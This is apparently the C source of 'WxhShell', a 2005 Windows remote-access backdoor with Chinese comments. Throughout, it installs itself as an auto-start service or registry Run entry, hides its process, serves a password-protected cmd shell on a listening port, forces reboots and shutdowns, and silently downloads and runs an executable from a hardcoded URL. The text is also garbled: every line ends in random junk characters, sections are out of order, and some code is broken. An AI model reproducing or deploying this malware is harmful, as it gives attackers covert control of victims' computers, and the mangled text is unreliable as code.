  case 'd': { j|HOry1E&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'n.eCd j  
    if(Boot(SHUTDOWN)) 8 s:sMU:Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gz~P 0Z^w}  
    else { +\.gdL)  
    closesocket(wsh); rMf& HX  
    ExitThread(0); 4U>  
    } jPA?0h  
    break; NY1olnI  
    } bUz7!M$  
  // 获取shell |n~,$  
  case 's': { O2Rv^la  
    CmdShell(wsh); @ZK|k  
    closesocket(wsh); |'=R`@w~0  
    ExitThread(0); 2lHJ&fck<  
    break; RpS'Tz}  
  } ,1F3";`n[  
  // 退出 vD}y%}  
  case 'x': { }L@!TWR-Qu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0=(5C\w2  
    CloseIt(wsh); +l&ZN\@0X  
    break; WZ"x\K-;  
    } [al$7R&  
  // 离开 4(  ^Ht  
  case 'q': { (D{9~^EO>a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yHk/8  
    closesocket(wsh); P",~8Aci(  
    WSACleanup(); M.!U;U<?  
    exit(1); kY4riZnm  
    break; kV6T#RVob  
        } ~++y4NB8Q  
  } ~XQN4Tv-  
  } a{69JY5  
=1yU& PJ  
  // 提示信息 +&-/$\"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A^ t[PKM"  
} H`aqpa"C  
  } qV^,muyoG  
@y)-!MHN(8  
  return; WQ=C5^u  
} _i6G)u&N  
"i4@'`r  
// shell模块句柄 ;l5F il,3  
int CmdShell(SOCKET sock) zn>*^h0B  
{ Ry[VEn>C1  
STARTUPINFO si; 0D:J d6\  
ZeroMemory(&si,sizeof(si)); 86@"BNnTh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  g5X+iV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O\B_=KWDO  
PROCESS_INFORMATION ProcessInfo; HDA!;&NRS  
char cmdline[]="cmd"; I6'U[)%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &FIPEe#n  
  return 0; ^0A'XCULG  
} pvP|.sw5G  
ezCsbV;. [  
// 自身启动模式 !2tZ@ p|  
int StartFromService(void) x>;! `}x  
{ ^ ,U9N  
typedef struct VL&E2^*E  
{ B {f&'1pp/  
  DWORD ExitStatus; xhj A!\DS  
  DWORD PebBaseAddress; EM;]dLh  
  DWORD AffinityMask; u0#q) L8  
  DWORD BasePriority; z';p275  
  ULONG UniqueProcessId; r^VH [c@c  
  ULONG InheritedFromUniqueProcessId; !ZD[ $lt+  
}   PROCESS_BASIC_INFORMATION; n4qj"x Q  
BRFA%FZ,  
PROCNTQSIP NtQueryInformationProcess; X9#Od9cNaC  
'X"@C;q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mfuw y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pfe&wA't  
NHPpHY3^.  
  HANDLE             hProcess; *pyi;  
  PROCESS_BASIC_INFORMATION pbi; g  O,X  
;:hyW,J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +JB. EW/  
  if(NULL == hInst ) return 0; S3`zB?7,  
ke2'?,f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h$G&4_O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j#9p 0[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |Ah26<&  
FG38)/  
  if (!NtQueryInformationProcess) return 0; %=S~[&8C  
aYkm]w;C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '|G_C%,B  
  if(!hProcess) return 0; o2@8w[r  
O (<Wn-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _}EGk4E  
"+[:\  
  CloseHandle(hProcess); Gyk>5Q}}  
+D*b!5[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >mgbs>  
if(hProcess==NULL) return 0; (`k0tC2  
x4pl#~Su  
HMODULE hMod; LwZBM#_g  
char procName[255]; W0K&mBu  
unsigned long cbNeeded; SVpvx`&kT  
~*ZB2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kb Fr  
8tK8|t5+  
  CloseHandle(hProcess); L/1?PM  
s{2BG9s  
if(strstr(procName,"services")) return 1; // 以服务启动 LL7a 20  
#^" \WG7{  
  return 0; // 注册表启动 yrs![u  
} :\NqGS=<  
hT>h  
// 主模块 5- 0  
int StartWxhshell(LPSTR lpCmdLine) Ge8&_7  
{ /Tv=BXL-  
  SOCKET wsl; t IdH?x  
BOOL val=TRUE; 0e^j:~*  
  int port=0; x;# OM  
  struct sockaddr_in door; 3o%JJIn&  
3x#=@i  
  if(wscfg.ws_autoins) Install(); cmmH)6c>  
@f{yx\u/  
port=atoi(lpCmdLine); R)?K+cJ%  
|qE"60&"}  
if(port<=0) port=wscfg.ws_port; WOZf4X`[  
aBj~370g  
  WSADATA data; JR<#el  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;<1O86!  
p{"p<XFyO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pv~XZ(J.1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U SXz  
  door.sin_family = AF_INET; {:$0j|zL1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ..X efNbl  
  door.sin_port = htons(port); /tikLJ  
4tz8^z[Kw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Uq 2Uv  
closesocket(wsl); Is` S  
return 1; s<cg&`u,<M  
} su<_?'uH  
i DO`N!  
  if(listen(wsl,2) == INVALID_SOCKET) { ,--/oP  
closesocket(wsl); hV;Tm7I2  
return 1; )NGBA."t  
} /ZlW9|  
  Wxhshell(wsl); 8)&H=#E  
  WSACleanup(); mDC{c ?  
w1F7gd  
return 0; :W<ag a;J  
$g$~TuA w  
} [CGvM {  
BA' ($D>  
// 以NT服务方式启动 ,-ZAI b*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Xw!eB?A  
{ 8RbtI4  
DWORD   status = 0; g><u (3  
  DWORD   specificError = 0xfffffff; !!E_WDZ#9  
aSi:(w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xojy[c#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w:I^iI .  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sTU]ntoQqR  
  serviceStatus.dwWin32ExitCode     = 0; 6cp x1y]~6  
  serviceStatus.dwServiceSpecificExitCode = 0; +j_Vs+0  
  serviceStatus.dwCheckPoint       = 0; EB)j&y_  
  serviceStatus.dwWaitHint       = 0; eC%.xu^  
)zlksF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -iGt]mbJkP  
  if (hServiceStatusHandle==0) return; j 9XY%4.  
=<s+cM  
status = GetLastError(); KYD,eVQ  
  if (status!=NO_ERROR) ;XSRG*3j~4  
{ t(VG#}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Hq8<g$  
    serviceStatus.dwCheckPoint       = 0; zh2$U dZ|M  
    serviceStatus.dwWaitHint       = 0; TKvUBy  
    serviceStatus.dwWin32ExitCode     = status; yc8FEn!)&  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1 h|cr_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cRs Lt/Wr  
    return; %gSqc }v*  
  } + 1\1Z@\M  
4JKB6~Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Vj_(55WQ  
  serviceStatus.dwCheckPoint       = 0; Qf0$Z.-  
  serviceStatus.dwWaitHint       = 0; w~afQA>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k{Vc5F  
} `0 uKJF g  
x~!B.4gT2  
// 处理NT服务事件,比如:启动、停止 H@bra~k-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Bs =V-0  
{ m=Y9sB  
switch(fdwControl) h`Vb#5 ik  
{ GeWB"(t  
case SERVICE_CONTROL_STOP: E)3B)(@&P  
  serviceStatus.dwWin32ExitCode = 0; PvBx<i}A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cEnkt=  
  serviceStatus.dwCheckPoint   = 0; P5* :r3>  
  serviceStatus.dwWaitHint     = 0; ZZ A!Y9ia2  
  { I7r{&X) D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YR'?fr  
  } E0$UoP   
  return; 'Sppm;?  
case SERVICE_CONTROL_PAUSE: B]ul~FX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H"WkZX  
  break; fc._*y#AS  
case SERVICE_CONTROL_CONTINUE: #`RY KQwB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =xQ 7:TB  
  break; V^QKn+/  
case SERVICE_CONTROL_INTERROGATE: ( t#w@<  
  break; 9m0`;~!  
}; vC E$)z'"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m~1{~'  
} TC?kuQI  
?{?mAb c  
// 标准应用程序主函数 7'S/hV%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P0~3<h?U8  
{ <Q/^[  
5u T 9ssC  
// 获取操作系统版本 5#g<L ~  
OsIsNt=GetOsVer(); fO[X<|9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `J[(Dx'y=t  
[&|Le;h  
  // 从命令行安装 0){%4  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2hEB?ZAQZ  
(9*s:)zD-  
  // 下载执行文件 @ \J RxJ  
if(wscfg.ws_downexe) { /%po@Pm#I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D%(9ot{!e  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^c83_93)R  
} bxyEn'vNvQ  
tPPnW  
if(!OsIsNt) { $_k'!/5  
// 如果时win9x,隐藏进程并且设置为注册表启动 2`+?s  
HideProc(); yY_G;Wk  
StartWxhshell(lpCmdLine); `~UCWK  
} Re5m  
else \3n{%\_  
  if(StartFromService()) & d\`=e  
  // 以服务方式启动 @ v/%^  
  StartServiceCtrlDispatcher(DispatchTable); |xZDc6HDW  
else 33J}AK^FE  
  // 普通方式启动 9-o{[  
  StartWxhshell(lpCmdLine); )b m|],'  
uYIw ?fXy  
return 0; yiQke   
} v\rOs+.s  
uEWWY t  
+cvz  
GsqR8n=  
=========================================== x,E#+ m  
0t}=F 4@&a  
[#V"a:8m}  
_55T  
&FHE(7}/#  
8xj4N%PA  
" B3O^(M5W  
Bjml%  
#include <stdio.h> K_{x y#H  
#include <string.h> Ox?LVRvxI  
#include <windows.h> E87/B%R  
#include <winsock2.h> _Jk-nZgn  
#include <winsvc.h> SOb17:o3|  
#include <urlmon.h> $JqdI/s  
~53E)ilB  
#pragma comment (lib, "Ws2_32.lib") CEc& G  
#pragma comment (lib, "urlmon.lib") po*s  
$} TqBBe   
#define MAX_USER   100 // 最大客户端连接数 KD$P\(5#  
#define BUF_SOCK   200 // sock buffer b;]'Bo0K  
#define KEY_BUFF   255 // 输入 buffer %83PbH  
u9:;ft{}N  
#define REBOOT     0   // 重启 'Vy$d<@s[  
#define SHUTDOWN   1   // 关机 reM%GU  
fbB(W E+  
#define DEF_PORT   5000 // 监听端口 |4-c/@D.~  
SjKIn-  
#define REG_LEN     16   // 注册表键长度 3 C=nC  
#define SVC_LEN     80   // NT服务名长度 _8\Uukm  
kOVx]=  
// 从dll定义API K).X=2gjY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6'(5pt  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y 97QqQ^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $LAaG65V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2c5>0f  
TMKemci  
// wxhshell配置信息 'gUHy1p  
struct WSCFG { vnk"0d.  
  int ws_port;         // 监听端口 +hY/4Tx<  
  char ws_passstr[REG_LEN]; // 口令 gwThhwR  
  int ws_autoins;       // 安装标记, 1=yes 0=no :KgLjhj|)  
  char ws_regname[REG_LEN]; // 注册表键名 AbZ:AJ(  
  char ws_svcname[REG_LEN]; // 服务名 X^_,`H@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  1k2Ck  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vH# US  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "M7ry9dDH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hz Vpv,|G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PHDKx+$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 s[nOB0  
$7TYix8=  
}; uP|AP  
Vt n$*ML  
// default Wxhshell configuration ;Zj Qy,H%  
struct WSCFG wscfg={DEF_PORT, ~#I1!y~`  
    "xuhuanlingzhe", ~W5 fJd0  
    1, IAnY+= ^  
    "Wxhshell", ,U>g LTS  
    "Wxhshell", #$jAGt3^BT  
            "WxhShell Service", [+{ ot   
    "Wrsky Windows CmdShell Service", s7FqE>#c0  
    "Please Input Your Password: ", n+zXt?{u  
  1, TnM}|~V  
  "http://www.wrsky.com/wxhshell.exe", +/\.%S/  
  "Wxhshell.exe" =!U{vT  
    }; `U2PlCf |  
/nb(F h|{T  
// 消息定义模块 4ms hB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +;Cq>1x,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &HFMF)NA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #%k5s?cP@  
char *msg_ws_ext="\n\rExit."; -jC. dz  
char *msg_ws_end="\n\rQuit."; WRVKh  
char *msg_ws_boot="\n\rReboot..."; Fj1/B0acS  
char *msg_ws_poff="\n\rShutdown..."; '(2G qX!  
char *msg_ws_down="\n\rSave to "; |+!Jr_ By  
4DuZF -y  
char *msg_ws_err="\n\rErr!"; tjDVU7um  
char *msg_ws_ok="\n\rOK!"; ed{z^!w4  
}5Y.N7F  
char ExeFile[MAX_PATH]; YvBUx#\  
int nUser = 0; 1(q!.lPc  
HANDLE handles[MAX_USER]; H1 \~T  
int OsIsNt; >%#J8  
Zs+6Zd4f  
SERVICE_STATUS       serviceStatus; ywq{9)vq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Esw&ScBOP  
jXZKR(L  
// 函数声明 HP]Xh~aP  
int Install(void);  V}8J&(\  
int Uninstall(void); >/e#Z h  
int DownloadFile(char *sURL, SOCKET wsh); ]lz,?izMR  
int Boot(int flag); >:OOuf#  
void HideProc(void); YI%7#L7C  
int GetOsVer(void); Oq+C<}eg  
int Wxhshell(SOCKET wsl); ((.PPOdJV  
void TalkWithClient(void *cs); gl]{mUZz}  
int CmdShell(SOCKET sock); c0Q`S"o+  
int StartFromService(void); . s? ''/(  
int StartWxhshell(LPSTR lpCmdLine); gP/]05$e  
IFG`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Aba6/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XHN?pVZ7  
R#1m_6I  
// 数据结构和表定义 OE4 2{?)  
SERVICE_TABLE_ENTRY DispatchTable[] = y;<jE.7>  
{ ]~ec] Y  
{wscfg.ws_svcname, NTServiceMain}, >^<qke  
{NULL, NULL} '?3Hy|}  
}; 3D<P [.bS  
2jx""{  
// 自我安装 /^4)V8D_S  
int Install(void) 4`Fbl]Q   
{ L?al2aopF  
  char svExeFile[MAX_PATH]; ~0/=5 dC  
  HKEY key; _;'}P2&Q  
  strcpy(svExeFile,ExeFile); `awk@  
LgBs<2  
// 如果是win9x系统,修改注册表设为自启动 dR$P-V\y`%  
if(!OsIsNt) { o"[qPZd>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OY[N%wr!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7F+f6(hB  
  RegCloseKey(key); %eD&2$q*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  4jG@ #  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z2"2Xqy<U  
  RegCloseKey(key); R?l>Vr  
  return 0; $Q47>/CUc^  
    } /8Vh G|Wb  
  } !*CL>}-,  
} 0CTI=<;  
else { DCw ldkdJN  
VJ;'$SYx  
// 如果是NT以上系统,安装为系统服务 u=ENf1{ $>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o &Nr5S  
if (schSCManager!=0) ty-4yK#  
{ [f O]oTh  
  SC_HANDLE schService = CreateService W >B:W0A  
  ( =q6yb@  
  schSCManager, |W#^L`!G  
  wscfg.ws_svcname, {?5EOp~  
  wscfg.ws_svcdisp, ,{E'k+  
  SERVICE_ALL_ACCESS, Xc Pn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k)S7SbQ  
  SERVICE_AUTO_START, !3HMGzt  
  SERVICE_ERROR_NORMAL, v t(kL(}v  
  svExeFile, .bpxSU%X  
  NULL, eQ C`e#%  
  NULL, _k ~bH\(  
  NULL, 3!Bekn]  
  NULL, ?dxhe7m  
  NULL @<alWBS  
  ); ?+5K2Zk  
  if (schService!=0) ~hM4({/QN  
  { c-s ~q/  
  CloseServiceHandle(schService); ->93.sge  
  CloseServiceHandle(schSCManager); *d,SI[c%e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A1YIPrav(  
  strcat(svExeFile,wscfg.ws_svcname); z&-3H/   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @x{;a9y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "]JS,g {m  
  RegCloseKey(key); )0UQy#r  
  return 0; I}?fy\1A&  
    }  p&ZD1qa  
  } (U|W=@8`  
  CloseServiceHandle(schSCManager); ,Hj=]e2?  
} lW>bX C  
} a nIdCOh  
DoImWNLo  
return 1; L#NPt4Sz+  
} YpNTq_S1,  
IClnh1=  
// 自我卸载 8c~b7F \  
int Uninstall(void) ~G"6^C:x  
{ Kq.)5%~>  
  HKEY key; !FO||z(vb  
sq :ff  
if(!OsIsNt) { y;Dw%m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tSQ>P -O  
  RegDeleteValue(key,wscfg.ws_regname); ?rr%uXQjH  
  RegCloseKey(key); E@[`y:P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eb+[=nmP  
  RegDeleteValue(key,wscfg.ws_regname); a2p<HW;)m  
  RegCloseKey(key); (wbG0lu  
  return 0; O<o_MZN  
  } V1"+4&R^T_  
} 'f5,%e2#  
} ]2Lwd@  
else { [qid4S~r,&  
&LYU#$sj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T.&^1qWWA  
if (schSCManager!=0) 4'_uN$${$  
{ ot,<iE#za  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0! !pNK%(  
  if (schService!=0) U24?+/5D]  
  { xT=|Uc0  
  if(DeleteService(schService)!=0) { w3yI;P  
  CloseServiceHandle(schService); [g<6i.<I  
  CloseServiceHandle(schSCManager); 0~^opNR  
  return 0; [nflQW6  
  } =zI eZ7  
  CloseServiceHandle(schService); b]*9![_  
  } <Ep P;  
  CloseServiceHandle(schSCManager); (u$Q  
} m2VF}% EIr  
} ~":?})  
"-^TA_XfI  
return 1; (obeEH5J  
} N5oao'7|A  
P_i2yhpK  
// 从指定url下载文件 / <y-pFTg  
int DownloadFile(char *sURL, SOCKET wsh) v\f 41M7D  
{ nc&V59*   
  HRESULT hr; FtE%<QHt  
char seps[]= "/"; X"'}1o  
char *token; ], ' n!:>  
char *file; WKmGw^  
char myURL[MAX_PATH]; G~^Pkl3%T  
char myFILE[MAX_PATH]; w{Dk,9>w)  
[h,T.zpa  
strcpy(myURL,sURL); 1 3  
  token=strtok(myURL,seps); }R.cqk\qa^  
  while(token!=NULL) :IS]|3wD  
  { )/f,.Z$  
    file=token; }4ta#T Ea  
  token=strtok(NULL,seps); [\. ho9  
  } )S>~h;  
B4&x?-0ZC  
GetCurrentDirectory(MAX_PATH,myFILE); _RjM .  
strcat(myFILE, "\\"); [}d 3 u!  
strcat(myFILE, file); I_Oa<J\+  
  send(wsh,myFILE,strlen(myFILE),0); 3LX<&."z  
send(wsh,"...",3,0); 2<Ub[R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :^?ZVi59j  
  if(hr==S_OK) ,R*ru*  
return 0; .qF@ }dO  
else ]y!|x_5c3  
return 1; m"@M~~bh  
/[_>U{~P#  
} $Ne#F+M9x  
e 0!a &w  
// 系统电源模块 k(hes3JV  
int Boot(int flag) N6yqA)z?;  
{ (~/D*<A  
  HANDLE hToken; $NJi]g|<3  
  TOKEN_PRIVILEGES tkp; blxH`O!  
_.wLQL~y  
  if(OsIsNt) { [YJP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7c<2oTN'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TvMY\e  
    tkp.PrivilegeCount = 1; }GQ8|fg`U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <[[DS%(M^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &~^"yo#b  
if(flag==REBOOT) { bg[q8IBCd  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R}Z"Y xx  
  return 0; g24)GjDi  
} fl+ [(x<  
else { pD.7ib^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~eqX<0hf@  
  return 0; _<kE32Bb  
} !^G+@~U  
  } H9nZ%n  
  else { 9 `J`(  
if(flag==REBOOT) { AUxLch+"5K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l0[jepmpiT  
  return 0; u`K+0^)T`  
} gwR ^Z{  
else { ~D<o}ItRF  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K'n^, t  
  return 0;  {EZ ;  
} jcFh2  
} <E6]8SQE  
b*r1Jn"h  
return 1; :NS;y-{^^y  
} MdZ7Yep  
mNm 8I8  
// win9x进程隐藏模块 56&s'  
void HideProc(void) g#5g0UP)V  
{ HIi"zo=V  
&=t$ AIu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BI,K?D&W-  
  if ( hKernel != NULL ) 7f[nNng  
  { #`v`e"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QBY7ZT05Gt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d*8 c,x  
    FreeLibrary(hKernel); kn`KU.J.  
  } H>-,1/IY  
p!U#53  
return; O)&xT2'J  
} @wZ`;J%  
\f0I:%-  
// 获取操作系统版本 duV|'ntr  
int GetOsVer(void) tCtR(mG=A  
{ 0xIr:aFF  
  OSVERSIONINFO winfo; C6CX{IA]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @QVAsNW:O  
  GetVersionEx(&winfo); IS]03_uQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >Mrz$ z{x  
  return 1; m'oVqA&  
  else ;^O^&<  
  return 0; 09%q/-$  
} dg/7?gV  
(!DH'2I[  
// 客户端句柄模块 9v 0.]  
int Wxhshell(SOCKET wsl) =5I1[p;  
{ 6DR@$fpt  
  SOCKET wsh; _(J- MCY\  
  struct sockaddr_in client; hFj.d]S  
  DWORD myID; j$&k;S  
9BNAj-Xa  
  while(nUser<MAX_USER) noh3mi  
{ tNmH*"wR<  
  int nSize=sizeof(client); B;hc|v{(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0%`\ 8  
  if(wsh==INVALID_SOCKET) return 1; f9&D0x?  
Mwp#.du(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xgsD<3  
if(handles[nUser]==0) tG{e(  
  closesocket(wsh);  6<sB   
else d q"b_pr;  
  nUser++; X f!Bsp#\g  
  } RZm5[n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0MrtJNF]_O  
-H'_%~OV(  
  return 0; c@5fiRPv!  
} 7 fqK{^ L  
^X"G~#v=q  
// 关闭 socket dUOjPq97  
void CloseIt(SOCKET wsh) Q3wD6!'&m  
{ C<6u}czA  
closesocket(wsh); >:Xzv  
nUser--; /$&~0pk  
ExitThread(0); a%*W^R9Ls  
} Qj[4gN?}=  
3`IDm5  
// 客户端请求句柄  L~I<y;x  
void TalkWithClient(void *cs) >OZ+k(saL  
{ &Vvy`JE  
m5{Y  
  SOCKET wsh=(SOCKET)cs; Nz*qz"T  
  char pwd[SVC_LEN]; ;wJLH\/  
  char cmd[KEY_BUFF]; ;7tOFsV  
char chr[1]; Rj+}L ~"  
int i,j; G*\wu&7!  
=h5&\4r=  
  while (nUser < MAX_USER) { $-M1<?5  
J U}XSb  
if(wscfg.ws_passstr) { W4|1wd}.t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WI[6 l6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 92+({ fg W  
  //ZeroMemory(pwd,KEY_BUFF); %jqBYn0q'  
      i=0; E J q=MP  
  while(i<SVC_LEN) { H6bomp"  
V1xpJ  
  // 设置超时 \ $X3n\  
  fd_set FdRead; &"Ua"H)  
  struct timeval TimeOut; s3/->1#i  
  FD_ZERO(&FdRead); P]]9Sqo7  
  FD_SET(wsh,&FdRead); Qn[4&nUD  
  TimeOut.tv_sec=8; P,CJy|[L  
  TimeOut.tv_usec=0; p Ic ;9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *G'zES0x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @T?:[nPf&F  
j)'V_@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IC92lPM }  
  pwd=chr[0]; _Dwn@{[(8  
  if(chr[0]==0xd || chr[0]==0xa) { scJ`oc: <J  
  pwd=0; )amdRc  
  break; L4 x  
  } jEit^5^5|  
  i++; 4-ZiKM  
    } }I#;~|v~<  
qaG%PH}a  
  // 如果是非法用户,关闭 socket P,_GTs3/G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *)L%pH>`  
} D@>P%k$$s>  
&tLg}7?iB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >pG]#Z g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u;h9Ra1  
= Ky1v$<  
while(1) { P.&,nFIg3  
!COaPrg  
  ZeroMemory(cmd,KEY_BUFF); s/`4]B;2U  
k-b_ <Tbo|  
      // 自动支持客户端 telnet标准   "aB]?4  
  j=0; yr[iAi"  
  while(j<KEY_BUFF) { kx]f`b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a!Z,~ V8  
  cmd[j]=chr[0]; |1-0x%@[;  
  if(chr[0]==0xa || chr[0]==0xd) { kS/Zb3  
  cmd[j]=0; ULjW589 zb  
  break; pOlQOdl  
  } p9oru0q  
  j++; e9k}n\t3  
    } 2EQ:mjxk  
2X]2;W)S;  
  // 下载文件 g#9KG  
  if(strstr(cmd,"http://")) { /<zBcpVNV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ju)2J?Xs5  
  if(DownloadFile(cmd,wsh)) Il~ph9{JH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9)aXLM4Y  
  else Ocx=)WKdW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @6h=O`X>  
  } 7!<cU  
  else { Z-Bw?_e_K  
[AE]0cO@  
    switch(cmd[0]) { L7q%u.nB1  
